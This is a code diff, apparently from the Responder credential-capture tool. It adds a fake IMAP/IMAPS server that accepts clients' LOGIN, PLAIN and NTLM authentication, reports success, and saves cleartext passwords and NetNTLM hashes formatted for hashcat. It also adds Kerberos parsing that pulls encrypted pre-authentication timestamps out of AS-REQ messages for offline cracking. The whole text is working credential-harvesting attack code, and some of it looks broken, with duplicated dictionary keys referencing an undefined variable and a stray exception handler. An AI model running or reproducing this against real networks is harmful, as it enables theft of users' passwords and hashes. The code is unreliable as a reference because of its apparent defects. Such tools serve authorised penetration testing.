# Pattern: TAG LOGIN credentials
|
||||
login_match = re.search(r'LOGIN\s+(.+)', data_str, re.IGNORECASE)
|
||||
if not login_match:
|
||||
response = "%s BAD LOGIN command syntax error\r\n" % RequestTag
|
||||
self.request.send(NetworkSendBufferPython2or3(response))
|
||||
return False
|
||||
|
||||
credentials_part = login_match.group(1).strip()
|
||||
|
||||
# Parse credentials - can be quoted or unquoted
|
||||
username, password = self.parse_credentials(credentials_part)
|
||||
|
||||
if username and password:
|
||||
# Save credentials
|
||||
SaveToDb({
|
||||
'module': 'IMAP',
|
||||
'type': 'Cleartext',
|
||||
'client': self.client_address[0],
|
||||
'user': Credentials[1],
|
||||
'cleartext': Credentials[3],
|
||||
'fullhash': Credentials[1]+":"+Credentials[3],
|
||||
'user': username,
|
||||
'cleartext': password,
|
||||
'fullhash': username + ":" + password,
|
||||
})
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(text('[IMAP] LOGIN captured: %s:%s from %s' % (
|
||||
username, password, self.client_address[0])))
|
||||
|
||||
# Send success but then close
|
||||
response = "%s OK LOGIN completed\r\n" % RequestTag
|
||||
self.request.send(NetworkSendBufferPython2or3(response))
|
||||
return True
|
||||
else:
|
||||
# Invalid credentials format
|
||||
response = "%s BAD LOGIN credentials format error\r\n" % RequestTag
|
||||
self.request.send(NetworkSendBufferPython2or3(response))
|
||||
return False
|
||||
|
||||
except Exception as e:
|
||||
return False
|
||||
|
||||
def parse_credentials(self, creds_str):
|
||||
"""
|
||||
Parse username and password from LOGIN command
|
||||
Supports: "user" "pass", user pass, {5}user {8}password (literal strings)
|
||||
"""
|
||||
try:
|
||||
# Method 1: Quoted strings "user" "pass"
|
||||
quoted_match = re.findall(r'"([^"]*)"', creds_str)
|
||||
if len(quoted_match) >= 2:
|
||||
return quoted_match[0], quoted_match[1]
|
||||
|
||||
# Method 2: Space-separated (unquoted)
|
||||
parts = creds_str.split()
|
||||
if len(parts) >= 2:
|
||||
# Remove any curly brace literals {5}
|
||||
user = re.sub(r'^\{\d+\}', '', parts[0])
|
||||
passwd = re.sub(r'^\{\d+\}', '', parts[1])
|
||||
return user, passwd
|
||||
|
||||
return None, None
|
||||
|
||||
except:
|
||||
return None, None
|
||||
|
||||
def handle_authenticate_plain(self, data):
|
||||
"""Handle AUTHENTICATE PLAIN command - can be single-line or multi-line"""
|
||||
try:
|
||||
RequestTag = self.extract_tag(data)
|
||||
data_str = data.decode('latin-1', errors='ignore').strip()
|
||||
plain_match = re.search(r'AUTHENTICATE\s+PLAIN\s+(.+)', data_str, re.IGNORECASE)
|
||||
|
||||
if plain_match:
|
||||
b64_creds = plain_match.group(1).strip()
|
||||
else:
|
||||
response = "+\r\n"
|
||||
self.request.send(NetworkSendBufferPython2or3(response))
|
||||
cred_data = self.request.recv(1024)
|
||||
if not cred_data:
|
||||
return False
|
||||
b64_creds = cred_data.decode('latin-1', errors='ignore').strip()
|
||||
|
||||
try:
|
||||
decoded = base64.b64decode(b64_creds).decode('latin-1', errors='ignore')
|
||||
parts = decoded.split('\x00')
|
||||
|
||||
if len(parts) >= 3:
|
||||
username = parts[1]
|
||||
password = parts[2]
|
||||
elif len(parts) >= 2:
|
||||
username = parts[0]
|
||||
password = parts[1]
|
||||
else:
|
||||
raise ValueError("Invalid PLAIN format")
|
||||
|
||||
if username and password:
|
||||
SaveToDb({
|
||||
'module': 'IMAP',
|
||||
'type': 'Cleartext',
|
||||
'client': self.client_address[0],
|
||||
'user': username,
|
||||
'cleartext': password,
|
||||
'fullhash': username + ":" + password,
|
||||
})
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(text('[IMAP] AUTHENTICATE PLAIN captured: %s:%s from %s' % (
|
||||
username, password, self.client_address[0])))
|
||||
|
||||
response = "%s OK AUTHENTICATE completed\r\n" % RequestTag
|
||||
self.request.send(NetworkSendBufferPython2or3(response))
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
response = "%s NO AUTHENTICATE failed\r\n" % RequestTag
|
||||
self.request.send(NetworkSendBufferPython2or3(response))
|
||||
return False
|
||||
|
||||
except Exception as e:
|
||||
return False
|
||||
|
||||
def handle_authenticate_login(self, data):
|
||||
"""Handle AUTHENTICATE LOGIN command - prompts for username, then password"""
|
||||
try:
|
||||
RequestTag = self.extract_tag(data)
|
||||
|
||||
response = "+ " + base64.b64encode(b"Username:").decode('latin-1') + "\r\n"
|
||||
self.request.send(NetworkSendBufferPython2or3(response))
|
||||
|
||||
user_data = self.request.recv(1024)
|
||||
if not user_data:
|
||||
return False
|
||||
|
||||
username_b64 = user_data.decode('latin-1', errors='ignore').strip()
|
||||
username = base64.b64decode(username_b64).decode('latin-1', errors='ignore')
|
||||
|
||||
response = "+ " + base64.b64encode(b"Password:").decode('latin-1') + "\r\n"
|
||||
self.request.send(NetworkSendBufferPython2or3(response))
|
||||
|
||||
pass_data = self.request.recv(1024)
|
||||
if not pass_data:
|
||||
return False
|
||||
|
||||
password_b64 = pass_data.decode('latin-1', errors='ignore').strip()
|
||||
password = base64.b64decode(password_b64).decode('latin-1', errors='ignore')
|
||||
|
||||
if username and password:
|
||||
SaveToDb({
|
||||
'module': 'IMAP',
|
||||
'type': 'Cleartext',
|
||||
'client': self.client_address[0],
|
||||
'user': username,
|
||||
'cleartext': password,
|
||||
'fullhash': username + ":" + password,
|
||||
})
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(text('[IMAP] AUTHENTICATE LOGIN captured: %s:%s from %s' % (
|
||||
username, password, self.client_address[0])))
|
||||
|
||||
response = "%s OK AUTHENTICATE completed\r\n" % RequestTag
|
||||
self.request.send(NetworkSendBufferPython2or3(response))
|
||||
return True
|
||||
else:
|
||||
response = "%s NO AUTHENTICATE failed\r\n" % RequestTag
|
||||
self.request.send(NetworkSendBufferPython2or3(response))
|
||||
return False
|
||||
|
||||
except Exception as e:
|
||||
return False
|
||||
|
||||
def handle_authenticate_ntlm(self, data):
|
||||
"""Handle AUTHENTICATE NTLM command - implements challenge-response"""
|
||||
try:
|
||||
RequestTag = self.extract_tag(data)
|
||||
|
||||
response = "+\r\n"
|
||||
self.request.send(NetworkSendBufferPython2or3(response))
|
||||
|
||||
type1_data = self.request.recv(2048)
|
||||
if not type1_data:
|
||||
return False
|
||||
|
||||
type1_b64 = type1_data.decode('latin-1', errors='ignore').strip()
|
||||
|
||||
try:
|
||||
type1_msg = base64.b64decode(type1_b64)
|
||||
except:
|
||||
return False
|
||||
|
||||
type2_msg = self.generate_ntlm_type2()
|
||||
type2_b64 = base64.b64encode(type2_msg).decode('latin-1')
|
||||
|
||||
response = "+ %s\r\n" % type2_b64
|
||||
self.request.send(NetworkSendBufferPython2or3(response))
|
||||
|
||||
type3_data = self.request.recv(4096)
|
||||
if not type3_data:
|
||||
return False
|
||||
|
||||
type3_b64 = type3_data.decode('latin-1', errors='ignore').strip()
|
||||
|
||||
if type3_b64 == '*' or type3_b64 == '':
|
||||
if settings.Config.Verbose:
|
||||
print(text('[IMAP] Client cancelled NTLM authentication'))
|
||||
response = "%s NO AUTHENTICATE cancelled\r\n" % RequestTag
|
||||
self.request.send(NetworkSendBufferPython2or3(response))
|
||||
return False
|
||||
|
||||
if not all(c in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\r\n' for c in type3_b64):
|
||||
response = "%s NO AUTHENTICATE failed\r\n" % RequestTag
|
||||
self.request.send(NetworkSendBufferPython2or3(response))
|
||||
return False
|
||||
|
||||
try:
|
||||
type3_msg = base64.b64decode(type3_b64)
|
||||
except Exception as e:
|
||||
response = "%s NO AUTHENTICATE failed\r\n" % RequestTag
|
||||
self.request.send(NetworkSendBufferPython2or3(response))
|
||||
return False
|
||||
|
||||
ntlm_hash = self.parse_ntlm_type3(type3_msg, type2_msg)
|
||||
|
||||
if ntlm_hash:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[IMAP] NTLM hash captured: %s from %s' % (
|
||||
ntlm_hash['user'], self.client_address[0])))
|
||||
|
||||
SaveToDb(ntlm_hash)
|
||||
|
||||
response = "%s OK AUTHENTICATE completed\r\n" % RequestTag
|
||||
self.request.send(NetworkSendBufferPython2or3(response))
|
||||
return True
|
||||
else:
|
||||
response = "%s NO AUTHENTICATE failed\r\n" % RequestTag
|
||||
self.request.send(NetworkSendBufferPython2or3(response))
|
||||
return False
|
||||
|
||||
except Exception as e:
|
||||
return False
|
||||
|
||||
def generate_ntlm_type2(self):
|
||||
"""Generate NTLM Type 2 (Challenge) message with target info for NTLMv2"""
|
||||
import time
|
||||
|
||||
challenge = os.urandom(8)
|
||||
self.ntlm_challenge = challenge
|
||||
|
||||
target_name = b'W\x00O\x00R\x00K\x00G\x00R\x00O\x00U\x00P\x00'
|
||||
target_name_len = len(target_name)
|
||||
|
||||
target_info = b''
|
||||
|
||||
domain_name = b'W\x00O\x00R\x00K\x00G\x00R\x00O\x00U\x00P\x00'
|
||||
target_info += struct.pack('<HH', 0x0002, len(domain_name))
|
||||
target_info += domain_name
|
||||
|
||||
computer_name = b'S\x00E\x00R\x00V\x00E\x00R\x00'
|
||||
target_info += struct.pack('<HH', 0x0001, len(computer_name))
|
||||
target_info += computer_name
|
||||
|
||||
dns_domain = b'w\x00o\x00r\x00k\x00g\x00r\x00o\x00u\x00p\x00'
|
||||
target_info += struct.pack('<HH', 0x0004, len(dns_domain))
|
||||
target_info += dns_domain
|
||||
|
||||
dns_computer = b's\x00e\x00r\x00v\x00e\x00r\x00'
|
||||
target_info += struct.pack('<HH', 0x0003, len(dns_computer))
|
||||
target_info += dns_computer
|
||||
|
||||
timestamp = int((time.time() + 11644473600) * 10000000)
|
||||
target_info += struct.pack('<HH', 0x0007, 8)
|
||||
target_info += struct.pack('<Q', timestamp)
|
||||
|
||||
target_info += struct.pack('<HH', 0x0000, 0)
|
||||
|
||||
target_info_len = len(target_info)
|
||||
|
||||
target_name_offset = 48
|
||||
target_info_offset = target_name_offset + target_name_len
|
||||
|
||||
signature = b'NTLMSSP\x00'
|
||||
msg_type = struct.pack('<I', 2)
|
||||
|
||||
target_name_fields = struct.pack('<HHI', target_name_len, target_name_len, target_name_offset)
|
||||
|
||||
flags = b'\x05\x02\x81\xa2'
|
||||
|
||||
context = b'\x00' * 8
|
||||
|
||||
target_info_fields = struct.pack('<HHI', target_info_len, target_info_len, target_info_offset)
|
||||
|
||||
type2_msg = (signature + msg_type + target_name_fields + flags +
|
||||
challenge + context + target_info_fields + target_name + target_info)
|
||||
|
||||
return type2_msg
|
||||
|
||||
def parse_ntlm_type3(self, type3_msg, type2_msg):
|
||||
"""Parse NTLM Type 3 (Authenticate) message and extract NetNTLMv2 hash"""
|
||||
try:
|
||||
from binascii import hexlify
|
||||
|
||||
if type3_msg[:8] != b'NTLMSSP\x00':
|
||||
return None
|
||||
|
||||
msg_type = struct.unpack('<I', type3_msg[8:12])[0]
|
||||
if msg_type != 3:
|
||||
return None
|
||||
|
||||
lm_len, lm_maxlen, lm_offset = struct.unpack('<HHI', type3_msg[12:20])
|
||||
ntlm_len, ntlm_maxlen, ntlm_offset = struct.unpack('<HHI', type3_msg[20:28])
|
||||
domain_len, domain_maxlen, domain_offset = struct.unpack('<HHI', type3_msg[28:36])
|
||||
user_len, user_maxlen, user_offset = struct.unpack('<HHI', type3_msg[36:44])
|
||||
ws_len, ws_maxlen, ws_offset = struct.unpack('<HHI', type3_msg[44:52])
|
||||
|
||||
if user_offset + user_len <= len(type3_msg):
|
||||
user = type3_msg[user_offset:user_offset+user_len].decode('utf-16le', errors='ignore')
|
||||
else:
|
||||
user = "unknown"
|
||||
|
||||
if domain_offset + domain_len <= len(type3_msg):
|
||||
domain = type3_msg[domain_offset:domain_offset+domain_len].decode('utf-16le', errors='ignore')
|
||||
else:
|
||||
domain = ""
|
||||
|
||||
if ntlm_offset + ntlm_len <= len(type3_msg):
|
||||
ntlm_response = type3_msg[ntlm_offset:ntlm_offset+ntlm_len]
|
||||
else:
|
||||
return None
|
||||
|
||||
if len(ntlm_response) > 24:
|
||||
ntlmv2_response = ntlm_response[:16]
|
||||
ntlmv2_blob = ntlm_response[16:]
|
||||
|
||||
challenge = type2_msg[24:32]
|
||||
|
||||
hash_str = "%s::%s:%s:%s:%s" % (
|
||||
user,
|
||||
domain,
|
||||
hexlify(challenge).decode(),
|
||||
hexlify(ntlmv2_response).decode(),
|
||||
hexlify(ntlmv2_blob).decode()
|
||||
)
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(text('[IMAP] NetNTLMv2 hash format (hashcat -m 5600)'))
|
||||
|
||||
return {
|
||||
'module': 'IMAP',
|
||||
'type': 'NetNTLMv2',
|
||||
'client': self.client_address[0],
|
||||
'user': user,
|
||||
'domain': domain,
|
||||
'hash': hash_str,
|
||||
'fullhash': hash_str
|
||||
}
|
||||
else:
|
||||
ntlm_hash = ntlm_response[:24]
|
||||
challenge = type2_msg[24:32]
|
||||
|
||||
if lm_offset + lm_len <= len(type3_msg) and lm_len == 24:
|
||||
lm_hash = type3_msg[lm_offset:lm_offset+lm_len]
|
||||
else:
|
||||
lm_hash = b'\x00' * 24
|
||||
|
||||
hash_str = "%s::%s:%s:%s:%s" % (
|
||||
user,
|
||||
domain,
|
||||
hexlify(lm_hash).decode(),
|
||||
hexlify(ntlm_hash).decode(),
|
||||
hexlify(challenge).decode()
|
||||
)
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(text('[IMAP] NetNTLMv1 hash format (hashcat -m 5500)'))
|
||||
|
||||
return {
|
||||
'module': 'IMAP',
|
||||
'type': 'NetNTLMv1',
|
||||
'client': self.client_address[0],
|
||||
'user': user,
|
||||
'domain': domain,
|
||||
'hash': hash_str,
|
||||
'fullhash': hash_str
|
||||
}
|
||||
|
||||
except Exception as e:
|
||||
return None
|
||||
|
||||
except Exception:
|
||||
pass
|
||||
class IMAPS(IMAP):
|
||||
"""IMAP over SSL (port 993) - SSL wrapper that inherits from IMAP"""
|
||||
|
||||
def setup(self):
|
||||
"""Setup SSL socket before handling - called automatically by SocketServer"""
|
||||
try:
|
||||
# Get SSL certificate paths from Responder config
|
||||
cert_path = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
|
||||
key_path = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
|
||||
|
||||
if not os.path.exists(cert_path) or not os.path.exists(key_path):
|
||||
if settings.Config.Verbose:
|
||||
print(text('[IMAPS] SSL certificates not found'))
|
||||
self.request.close()
|
||||
return
|
||||
|
||||
# Create SSL context
|
||||
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
|
||||
context.load_cert_chain(cert_path, key_path)
|
||||
|
||||
# Wrap socket in SSL before IMAP handles it
|
||||
self.request = context.wrap_socket(self.request, server_side=True)
|
||||
|
||||
# Mark as already in TLS so STARTTLS isn't advertised
|
||||
self.tls_enabled = True
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(text('[IMAPS] SSL connection from %s' %
|
||||
self.client_address[0].replace("::ffff:", "")))
|
||||
|
||||
except ssl.SSLError as e:
|
||||
# Client rejected self-signed cert - suppress expected errors
|
||||
if 'ALERT_BAD_CERTIFICATE' not in str(e) and settings.Config.Verbose:
|
||||
print(text('[IMAPS] SSL handshake failed: %s' % str(e)))
|
||||
try:
|
||||
self.request.close()
|
||||
except:
|
||||
pass
|
||||
except Exception as e:
|
||||
if 'Bad file descriptor' not in str(e) and settings.Config.Verbose:
|
||||
print(text('[IMAPS] SSL setup error: %s' % str(e)))
|
||||
try:
|
||||
self.request.close()
|
||||
except:
|
||||
pass
|
||||
|
||||
# handle() method is inherited from IMAP class - no need to override!
|
||||
|
||||
@@ -16,134 +16,722 @@
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import codecs
|
||||
import struct
|
||||
import time
|
||||
from utils import *
|
||||
|
||||
if settings.Config.PY2OR3 == "PY3":
|
||||
from socketserver import BaseRequestHandler
|
||||
else:
|
||||
from SocketServer import BaseRequestHandler
|
||||
|
||||
# Kerberos encryption types
|
||||
ENCRYPTION_TYPES = {
|
||||
b'\x01': 'des-cbc-crc',
|
||||
b'\x03': 'des-cbc-md5',
|
||||
b'\x11': 'aes128-cts-hmac-sha1-96',
|
||||
b'\x12': 'aes256-cts-hmac-sha1-96',
|
||||
b'\x13': 'rc4-hmac',
|
||||
b'\x14': 'rc4-hmac-exp',
|
||||
b'\x17': 'rc4-hmac',
|
||||
b'\x18': 'rc4-hmac-exp',
|
||||
}
|
||||
|
||||
def ParseMSKerbv5TCP(Data):
|
||||
MsgType = Data[21:22]
|
||||
EncType = Data[43:44]
|
||||
MessageType = Data[32:33]
|
||||
def parse_asn1_length(data, offset):
|
||||
"""Parse ASN.1 length field (short or long form)"""
|
||||
if offset >= len(data):
|
||||
return 0, 0
|
||||
|
||||
first_byte = data[offset]
|
||||
|
||||
# Short form (length < 128)
|
||||
if first_byte < 0x80:
|
||||
return first_byte, 1
|
||||
|
||||
# Long form
|
||||
num_octets = first_byte & 0x7F
|
||||
if num_octets == 0 or offset + 1 + num_octets > len(data):
|
||||
return 0, 0
|
||||
|
||||
length = 0
|
||||
for i in range(num_octets):
|
||||
length = (length << 8) | data[offset + 1 + i]
|
||||
|
||||
return length, 1 + num_octets
|
||||
|
||||
if MsgType == b'\x0a' and EncType == b'\x17' and MessageType ==b'\x02':
|
||||
if Data[49:53] == b'\xa2\x36\x04\x34' or Data[49:53] == b'\xa2\x35\x04\x33':
|
||||
HashLen = struct.unpack('<b',Data[50:51])[0]
|
||||
if HashLen == 54:
|
||||
Hash = Data[53:105]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[153:154])[0]
|
||||
Name = Data[154:154+NameLen].decode('latin-1')
|
||||
DomainLen = struct.unpack('<b',Data[154+NameLen+3:154+NameLen+4])[0]
|
||||
Domain = Data[154+NameLen+4:154+NameLen+4+DomainLen].decode('latin-1')
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
|
||||
return BuildHash
|
||||
def encode_asn1_length(length):
|
||||
"""Encode length in ASN.1 format"""
|
||||
if length < 128:
|
||||
return struct.pack('B', length)
|
||||
|
||||
# Long form
|
||||
length_bytes = []
|
||||
temp = length
|
||||
while temp > 0:
|
||||
length_bytes.insert(0, temp & 0xFF)
|
||||
temp >>= 8
|
||||
|
||||
num_octets = len(length_bytes)
|
||||
result = struct.pack('B', 0x80 | num_octets)
|
||||
for byte in length_bytes:
|
||||
result += struct.pack('B', byte)
|
||||
|
||||
return result
|
||||
|
||||
if Data[44:48] == b'\xa2\x36\x04\x34' or Data[44:48] == b'\xa2\x35\x04\x33':
|
||||
HashLen = struct.unpack('<b',Data[45:46])[0]
|
||||
if HashLen == 53:
|
||||
Hash = Data[48:99]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[147:148])[0]
|
||||
Name = Data[148:148+NameLen].decode('latin-1')
|
||||
DomainLen = struct.unpack('<b',Data[148+NameLen+3:148+NameLen+4])[0]
|
||||
Domain = Data[148+NameLen+4:148+NameLen+4+DomainLen].decode('latin-1')
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
|
||||
return BuildHash
|
||||
elif HashLen == 54:
|
||||
Hash = Data[53:105]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[148:149])[0]
|
||||
Name = Data[149:149+NameLen].decode('latin-1')
|
||||
DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
|
||||
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen].decode('latin-1')
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
|
||||
return BuildHash
|
||||
else:
|
||||
Hash = Data[48:100]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[148:149])[0]
|
||||
Name = Data[149:149+NameLen].decode('latin-1')
|
||||
DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
|
||||
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen].decode('latin-1')
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
|
||||
return BuildHash
|
||||
return False
|
||||
def extract_principal_name(data):
|
||||
"""Extract principal name from AS-REQ - searches in req-body only"""
|
||||
try:
|
||||
# Look for [4] req-body tag first to avoid PA-DATA
|
||||
req_body_offset = None
|
||||
for i in range(len(data) - 100):
|
||||
if data[i:i+1] == b'\xa4': # [4] req-body
|
||||
req_body_offset = i
|
||||
break
|
||||
|
||||
if req_body_offset is None:
|
||||
return "user"
|
||||
|
||||
# Search for [1] cname AFTER req-body starts
|
||||
search_start = req_body_offset
|
||||
search_end = min(search_start + 150, len(data) - 20)
|
||||
|
||||
for i in range(search_start, search_end):
|
||||
# Look for GeneralString (0x1b) with reasonable length
|
||||
if data[i:i+1] == b'\x1b':
|
||||
name_len = data[i+1] if i+1 < len(data) else 0
|
||||
if 1 < name_len < 30 and i + 2 + name_len <= len(data):
|
||||
name = data[i+2:i+2+name_len].decode('latin-1', errors='ignore')
|
||||
# Validate: printable, no control chars, looks like username
|
||||
if (name and
|
||||
name.isprintable() and
|
||||
name.isascii() and
|
||||
not any(c in name for c in ['\x00', '\n', '\r', '\t']) and
|
||||
all(c.isalnum() or c in '.-_@' for c in name)):
|
||||
return name
|
||||
|
||||
return "user"
|
||||
except:
|
||||
return "user"
|
||||
|
||||
def ParseMSKerbv5UDP(Data):
|
||||
MsgType = Data[17:18]
|
||||
EncType = Data[39:40]
|
||||
def extract_realm(data):
|
||||
"""Extract realm from AS-REQ - searches in req-body only"""
|
||||
try:
|
||||
# Look for [4] req-body tag first
|
||||
req_body_offset = None
|
||||
for i in range(len(data) - 100):
|
||||
if data[i:i+1] == b'\xa4': # [4] req-body
|
||||
req_body_offset = i
|
||||
break
|
||||
|
||||
if req_body_offset is None:
|
||||
return settings.Config.MachineName.upper()
|
||||
|
||||
# Search for realm AFTER req-body starts
|
||||
search_start = req_body_offset + 10
|
||||
search_end = min(search_start + 150, len(data) - 20)
|
||||
|
||||
for i in range(search_start, search_end):
|
||||
# Look for GeneralString (0x1b) with reasonable length
|
||||
if data[i:i+1] == b'\x1b':
|
||||
realm_len = data[i+1] if i+1 < len(data) else 0
|
||||
# Realm should be 5-50 chars (like "DOMAIN.LOCAL")
|
||||
if 5 < realm_len < 50 and i + 2 + realm_len <= len(data):
|
||||
realm = data[i+2:i+2+realm_len].decode('latin-1', errors='ignore')
|
||||
# Validate: printable ASCII, contains dot, looks like domain
|
||||
if (realm and
|
||||
realm.isprintable() and
|
||||
realm.isascii() and
|
||||
'.' in realm and
|
||||
realm.count('.') >= 1 and realm.count('.') <= 5 and
|
||||
not any(c in realm for c in ['\x00', '\n', '\r', '\t', '/', ':', ' ']) and
|
||||
all(c.isalnum() or c in '.-' for c in realm)):
|
||||
return realm
|
||||
|
||||
return settings.Config.MachineName.upper()
|
||||
except:
|
||||
return settings.Config.MachineName.upper()
|
||||
|
||||
if MsgType == b'\x0a' and EncType == b'\x17':
|
||||
if Data[40:44] == b'\xa2\x36\x04\x34' or Data[40:44] == b'\xa2\x35\x04\x33':
|
||||
HashLen = struct.unpack('<b',Data[41:42])[0]
|
||||
if HashLen == 54:
|
||||
Hash = Data[44:96]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[144:145])[0]
|
||||
Name = Data[145:145+NameLen].decode('latin-1')
|
||||
DomainLen = struct.unpack('<b',Data[145+NameLen+3:145+NameLen+4])[0]
|
||||
Domain = Data[145+NameLen+4:145+NameLen+4+DomainLen].decode('latin-1')
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
|
||||
return BuildHash
|
||||
elif HashLen == 53:
|
||||
Hash = Data[44:95]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[143:144])[0]
|
||||
Name = Data[144:144+NameLen].decode('latin-1')
|
||||
DomainLen = struct.unpack('<b',Data[144+NameLen+3:144+NameLen+4])[0]
|
||||
Domain = Data[144+NameLen+4:144+NameLen+4+DomainLen].decode('latin-1')
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
|
||||
return BuildHash
|
||||
else:
|
||||
Hash = Data[49:101]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[149:150])[0]
|
||||
Name = Data[150:150+NameLen].decode('latin-1')
|
||||
DomainLen = struct.unpack('<b',Data[150+NameLen+3:150+NameLen+4])[0]
|
||||
Domain = Data[150+NameLen+4:150+NameLen+4+DomainLen].decode('latin-1')
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
|
||||
return BuildHash
|
||||
return False
|
||||
def find_msg_type(data):
|
||||
"""Find Kerberos message type by parsing ASN.1 structure"""
|
||||
try:
|
||||
offset = 0
|
||||
|
||||
# Check APPLICATION tag
|
||||
# [10] for AS-REQ (0x6a)
|
||||
# [12] for TGS-REQ (0x6c)
|
||||
if offset >= len(data):
|
||||
return None, False, None, None
|
||||
|
||||
app_tag = data[offset]
|
||||
if app_tag not in [0x6a, 0x6c]: # AS-REQ or TGS-REQ
|
||||
return None, False, None, None
|
||||
|
||||
offset += 1
|
||||
|
||||
# Parse outer length
|
||||
length, consumed = parse_asn1_length(data, offset)
|
||||
if consumed == 0:
|
||||
return None, False, None, None
|
||||
offset += consumed
|
||||
|
||||
# SEQUENCE tag
|
||||
if offset >= len(data) or data[offset] != 0x30:
|
||||
return None, False, None, None
|
||||
offset += 1
|
||||
|
||||
# Parse SEQUENCE length
|
||||
seq_length, consumed = parse_asn1_length(data, offset)
|
||||
if consumed == 0:
|
||||
return None, False, None, None
|
||||
offset += consumed
|
||||
|
||||
# [1] pvno
|
||||
if offset >= len(data) or data[offset] != 0xa1:
|
||||
return None, False, None, None
|
||||
offset += 1
|
||||
|
||||
pvno_len, consumed = parse_asn1_length(data, offset)
|
||||
offset += consumed + pvno_len
|
||||
|
||||
# [2] msg-type
|
||||
if offset >= len(data) or data[offset] != 0xa2:
|
||||
return None, False, None, None
|
||||
offset += 1
|
||||
|
||||
msgtype_len, consumed = parse_asn1_length(data, offset)
|
||||
offset += consumed
|
||||
|
||||
# INTEGER tag
|
||||
if offset >= len(data) or data[offset] != 0x02:
|
||||
return None, False, None, None
|
||||
offset += 1
|
||||
|
||||
int_len, consumed = parse_asn1_length(data, offset)
|
||||
offset += consumed
|
||||
|
||||
if offset >= len(data):
|
||||
return None, False, None, None
|
||||
|
||||
msg_type = data[offset]
|
||||
|
||||
# Extract client name and realm for KRB-ERROR response
|
||||
cname = extract_principal_name(data)
|
||||
realm = extract_realm(data)
|
||||
|
||||
return msg_type, True, cname, realm
|
||||
|
||||
except:
|
||||
return None, False, None, None
|
||||
|
||||
def extract_encrypted_timestamp(data):
|
||||
"""
|
||||
Extract encrypted timestamp from PA-ENC-TIMESTAMP in AS-REQ
|
||||
Returns: (etype, cipher_hex) or (None, None)
|
||||
"""
|
||||
try:
|
||||
# Look for PA-ENC-TIMESTAMP pattern: a1 03 02 01 02 (padata-type = 2)
|
||||
for i in range(len(data) - 60):
|
||||
# Look for the specific pattern that indicates PA-ENC-TIMESTAMP
|
||||
if (i + 5 < len(data) and
|
||||
data[i] == 0xa1 and data[i+1] == 0x03 and
|
||||
data[i+2] == 0x02 and data[i+3] == 0x01 and
|
||||
data[i+4] == 0x02): # padata-type = 2
|
||||
|
||||
# Now find [2] padata-value which should be right after
|
||||
j = i + 5
|
||||
if j < len(data) and data[j] == 0xa2: # [2] padata-value
|
||||
j += 1
|
||||
# Parse length of padata-value
|
||||
pv_len, consumed = parse_asn1_length(data, j)
|
||||
j += consumed
|
||||
|
||||
# Inside padata-value is OCTET STRING containing EncryptedData
|
||||
if j < len(data) and data[j] == 0x04: # OCTET STRING
|
||||
j += 1
|
||||
octet_len, consumed = parse_asn1_length(data, j)
|
||||
j += consumed
|
||||
|
||||
# Now we're inside EncryptedData SEQUENCE
|
||||
if j < len(data) and data[j] == 0x30: # SEQUENCE
|
||||
j += 1
|
||||
seq_len, consumed = parse_asn1_length(data, j)
|
||||
j += consumed
|
||||
|
||||
# Look for [0] etype
|
||||
if j < len(data) and data[j] == 0xa0: # [0] etype
|
||||
j += 1
|
||||
etype_len, consumed = parse_asn1_length(data, j)
|
||||
j += consumed
|
||||
|
||||
# INTEGER tag
|
||||
if j < len(data) and data[j] == 0x02:
|
||||
j += 1
|
||||
int_len, consumed = parse_asn1_length(data, j)
|
||||
j += consumed
|
||||
etype = data[j] if j < len(data) else None
|
||||
j += int_len
|
||||
|
||||
# Now look for [2] cipher (OCTET STRING)
|
||||
if j < len(data) and data[j] == 0xa2: # [2] cipher
|
||||
j += 1
|
||||
cipher_tag_len, consumed = parse_asn1_length(data, j)
|
||||
j += consumed
|
||||
|
||||
# OCTET STRING
|
||||
if j < len(data) and data[j] == 0x04:
|
||||
j += 1
|
||||
cipher_len, consumed = parse_asn1_length(data, j)
|
||||
j += consumed
|
||||
|
||||
if j + cipher_len <= len(data):
|
||||
cipher = data[j:j+cipher_len]
|
